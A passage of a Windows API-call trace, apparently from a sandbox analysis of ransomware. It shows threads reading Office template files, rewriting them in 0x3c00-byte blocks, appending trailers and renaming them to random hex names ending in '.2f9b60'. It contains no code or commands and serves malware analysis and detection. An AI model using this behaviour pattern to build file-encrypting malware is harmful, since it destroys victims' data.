(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0139.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.202] WriteFile (hFile=0x1da4, lpBuffer=0x42119960, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x387bfa60, lpOverlapped=0x0) [0172.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42119960) returned 1 [0172.970] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.970] ReadFile (in: hFile=0x1da4, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x387bfa60, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x387bfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0172.971] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0172.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0172.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0172.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c40) returned 1 [0172.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42119960 [0172.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0172.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0172.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0172.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0172.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0172.974] WriteFile (in: hFile=0x1da4, lpBuffer=0x42119960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x387bfa60, lpOverlapped=0x0 | out: lpBuffer=0x42119960*, lpNumberOfBytesWritten=0x387bfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42119960) returned 1 [0187.179] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x254e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.179] ReadFile (in: hFile=0x1da4, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x387bfa60, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x387bfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.611] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x254e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e90 [0190.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e90) returned 1 [0190.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42993630 [0190.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e90 [0190.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ec0 [0190.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ec0) returned 1 [0190.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.614] WriteFile (in: hFile=0x1da4, lpBuffer=0x42993630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x387bfa60, lpOverlapped=0x0 | out: lpBuffer=0x42993630*, lpNumberOfBytesWritten=0x387bfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42993630) returned 1 [0205.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fc20 [0205.369] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.370] WriteFile (in: hFile=0x1da4, lpBuffer=0x431f6140*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x387bfb10, lpOverlapped=0x0 | out: lpBuffer=0x431f6140*, lpNumberOfBytesWritten=0x387bfb10*=0x154, lpOverlapped=0x0) returned 1 [0208.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678f0 [0208.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678f0) returned 1 [0208.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202678f0 [0208.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267950 [0208.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0208.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c20) returned 1 [0208.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce616f0 [0208.797] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="80") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="2c") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="da") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="2c") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="40") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.797] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="b7") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="74") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="e9") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="20") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="65") returned 2 [0208.797] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.797] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="5e") returned 2 [0208.797] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="12") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="26") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.797] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.797] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="a2") returned 2 [0208.797] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="f9") returned 2 [0208.798] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="39") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="1f") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="81") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="14") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="33") returned 2 [0208.798] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.798] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.798] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61730, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.798] sprintf (in: _Dest=0x1ce61732, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.798] RtlInitAnsiString (in: DestinationString=0x387bfb88, SourceString="802cda2c40d6fe0eb774e92065fd5e12a01b261b2ea2f9391fb68114337c9dc59efd" | out: DestinationString="802cda2c40d6fe0eb774e92065fd5e12a01b261b2ea2f9391fb68114337c9dc59efd") [0208.798] RtlAnsiStringToUnicodeString (in: DestinationString=0x387bfb58, SourceString="802cda2c40d6fe0eb774e92065fd5e12a01b261b2ea2f9391fb68114337c9dc59efd", AllocateDestinationString=1 | out: DestinationString="802cda2c40d6fe0eb774e92065fd5e12a01b261b2ea2f9391fb68114337c9dc59efd") returned 0x0 [0208.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43183a80 [0208.798] wcscat (in: _Dest=0x431839e0, _Source="802cda2c40d6fe0eb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb" [0208.798] wcscat (in: _Dest=0x431839e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb.2f9b60" [0208.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb.2f9b60", NtPathName=0x387bfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\802cda2c40d6fe0eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43116720 Thread: id = 2124 os_tid = 0x1484 [0139.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx")) returned 0x20 [0139.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx", dwFileAttributes=0x20) returned 1 [0139.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e80 [0139.197] GetFileSizeEx (in: hFile=0x1e80, lpFileSize=0x37f1f700 | out: lpFileSize=0x37f1f700*=43906) returned 1 [0139.197] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0xab7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.197] ReadFile (in: hFile=0x1e80, lpBuffer=0x37f1f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37f1f6c8, lpOverlapped=0x0 | out: lpBuffer=0x37f1f680*, lpNumberOfBytesRead=0x37f1f6c8*=0x4, lpOverlapped=0x0) returned 1 [0139.217] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0139.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0139.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.218] NtQuerySystemTime (in: CurrentTime=0x37f1f5c0 | out: CurrentTime=0x37f1f5c0*=132462177444634000) returned 0x0 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x571de585 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x7e57ddf6 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x4de7f661 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x6fc612f0 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x654935f1 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x4d8c4d4a [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x5eb89e6e [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x9e22b0f [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x6141516f [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x33ebc3ad [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x26dddcf9 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x2cfdf1a6 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x3398ed43 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x6d0117a0 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x626edc30 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x134ed561 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x55ec5674 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x13fc0870 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x6d6a25a [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x75cdc9d1 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x3bac0085 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x341737e [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x56250211 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x73cef69c [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x722f42dc [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0xc229085 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x4415f6ba [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x7bd444d1 [0139.218] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x12778107 [0139.219] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0xfee2621 [0139.219] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x1c7811c5 [0139.219] RtlRandomEx (in: Seed=0x37f1f5b0 | out: Seed=0x37f1f5b0) returned 0x56ac24dd [0139.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0139.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0139.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e740 [0139.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0139.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0139.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de40) returned 1 [0139.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4212c5b0 [0139.228] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.228] ReadFile (in: hFile=0x1e80, lpBuffer=0x4212c5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37f1f620, lpOverlapped=0x0 | out: lpBuffer=0x4212c5b0*, lpNumberOfBytesRead=0x37f1f620*=0x3c00, lpOverlapped=0x0) returned 1 [0139.235] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0139.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0139.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de40) returned 1 [0139.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421301c0 [0139.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0139.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0139.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0139.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.236] WriteFile (in: hFile=0x1e80, lpBuffer=0x421301c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37f1f620, lpOverlapped=0x0 | out: lpBuffer=0x421301c0*, lpNumberOfBytesWritten=0x37f1f620*=0x3c00, lpOverlapped=0x0) returned 1 [0166.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421301c0) returned 1 [0166.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4212c5b0) returned 1 [0166.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd979e0 [0166.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0166.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504490 [0166.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2630 [0166.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2630) returned 1 [0166.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97d50 [0166.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2630 [0166.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2690 [0166.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2690) returned 1 [0166.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504490) returned 1 [0166.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0166.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x42c20090 [0166.117] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.117] WriteFile (in: hFile=0x1e80, lpBuffer=0x42c20090*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x37f1f6d0, lpOverlapped=0x0 | out: lpBuffer=0x42c20090*, lpNumberOfBytesWritten=0x37f1f6d0*=0x126, lpOverlapped=0x0) returned 1 [0207.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0207.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0207.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431ac720 [0207.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0207.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0207.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0207.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1cebac60 [0207.535] sprintf (in: _Dest=0x1cebac60, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac62, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac64, _Format="%c%c" | out: _Dest="89") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac66, _Format="%c%c" | out: _Dest="13") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac68, _Format="%c%c" | out: _Dest="11") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac6a, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac6c, _Format="%c%c" | out: _Dest="5f") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac6e, _Format="%c%c" | out: _Dest="c1") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac70, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac72, _Format="%c%c" | out: _Dest="47") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac74, _Format="%c%c" | out: _Dest="ca") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac76, _Format="%c%c" | out: _Dest="54") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac78, _Format="%c%c" | out: _Dest="f9") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac7a, _Format="%c%c" | out: _Dest="25") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac7c, _Format="%c%c" | out: _Dest="08") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac7e, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac80, _Format="%c%c" | out: _Dest="5a") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac82, _Format="%c%c" | out: _Dest="56") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac84, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac86, _Format="%c%c" | out: _Dest="94") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac88, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac8a, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac8c, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac8e, _Format="%c%c" | out: _Dest="61") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac90, _Format="%c%c" | out: _Dest="60") returned 2 [0207.535] sprintf (in: _Dest=0x1cebac92, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac94, _Format="%c%c" | out: _Dest="24") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac96, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac98, _Format="%c%c" | out: _Dest="81") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac9a, _Format="%c%c" | out: _Dest="54") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac9c, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.536] sprintf (in: _Dest=0x1cebac9e, _Format="%c%c" | out: _Dest="19") returned 2 [0207.536] sprintf (in: _Dest=0x1cebaca0, _Format="%c%c" | out: _Dest="c7") returned 2 [0207.536] sprintf (in: _Dest=0x1cebaca2, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.536] sprintf (in: _Dest=0x1cebaca4, _Format="%c%c" | out: _Dest="36") returned 2 [0207.536] sprintf (in: _Dest=0x1cebaca6, _Format="%c%c" | out: _Dest="9e") returned 2 [0207.536] sprintf (in: _Dest=0x1cebaca8, _Format="%c%c" | out: _Dest="8a") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacaa, _Format="%c%c" | out: _Dest="cb") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacac, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacae, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacb0, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacb2, _Format="%c%c" | out: _Dest="13") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacb4, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacb6, _Format="%c%c" | out: _Dest="26") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacb8, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacba, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacbc, _Format="%c%c" | out: _Dest="e9") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacbe, _Format="%c%c" | out: _Dest="85") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacc0, _Format="%c%c" | out: _Dest="02") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacc2, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacc4, _Format="%c%c" | out: _Dest="1f") returned 2 [0207.536] sprintf (in: _Dest=0x1cebacc6, _Format="%c%c" | out: _Dest="75") returned 2 [0207.536] RtlInitAnsiString (in: DestinationString=0x37f1f748, SourceString="d3d38913119f5fc11a47ca54f925084a5a564f94b2eca56160b924b18154c819c7ab369e8acbab8c1e13a5262dcfe98502ab1f75" | out: 